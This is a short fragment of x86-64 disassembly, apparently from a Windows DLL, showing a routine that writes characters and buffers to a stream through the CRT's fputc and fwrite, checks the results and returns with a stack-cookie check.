mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1800069d1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1800069b2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1800069cc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1800069d1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180077b20
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret